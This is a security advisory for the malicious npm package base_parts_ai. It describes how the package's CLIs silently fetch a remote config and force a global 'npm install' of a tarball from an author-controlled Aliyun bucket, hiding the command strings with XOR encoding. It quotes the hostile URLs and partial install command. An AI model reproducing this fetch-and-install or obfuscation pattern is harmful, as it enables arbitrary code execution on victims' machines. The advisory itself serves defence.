Malicious code in base_parts_ai (npm)
MAL-2026-6228
Published · Modified
Dependency scanning
Check whether base_parts_ai is in your codebase
Corgea flags malicious and compromised dependencies with reachability analysis, so you fix the packages that actually run in your application instead of working through the whole lockfile.
Description
__
Source: amazon-inspector (40d21c9d5a6b5da4ede94075ed2f4dde196fab0a47be0b2908993d5a24519417)
On every invocation of the package's CLIs (jcc/jcx/ucx/jgrok and related entry points), lib/ai_utils.js fetches a JSON config from https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg and reads a server-supplied newVer field. When newVer is greater than the installed version, the code builds a tarball URL of the form https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-npm install -g <tgz-url> --registry=https://registry.npmmirror.com --force. The user confirmation prompt is commented out and the confirmed flag is hardcoded to "yes", so the global install proceeds without interaction. The update source is not the npm registry — it is a mutable author-controlled Aliyun OSS object whose contents can be changed server-side at any time with no registry review, no version pinning, and no hash or signature check. lib/pkg_cmd.js additionally constructs the strings 'npm install', '--registry=', and '--force' at runtime by XOR-decoding (String.fromCharCode(b ^ 0x5A)) hardcoded byte arrays rather than storing the commands as plain literals, concealing the install mechanism from static scanners. Running any CLI from this package therefore causes global installation of whatever bytes the author (or anyone who compromises jai.jaskle.cn or the jdwfiles Aliyun OSS bucket) serves at that URL at that moment, yielding arbitrary code execution on the installer's machine.
Ready to move
Start Securing
Free, no credit card | First findings in minutes